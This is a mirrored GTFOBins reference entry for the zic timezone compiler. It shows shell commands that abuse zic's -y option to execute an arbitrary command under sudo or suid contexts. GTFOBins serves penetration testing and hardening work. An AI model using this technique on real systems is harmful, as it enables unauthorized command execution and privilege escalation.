1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/zic
2026-01-16 20:19:28 +01:00

20 lines
462 B
Plaintext

---
functions:
command:
- code: |-
echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file
comment: |-
This executes the command twice:
- `/path/to/command 0 xxx`
- `/path/to/command 1 xxx`
Additionally the `Test` file is created.
contexts:
sudo:
suid:
unprivileged:
...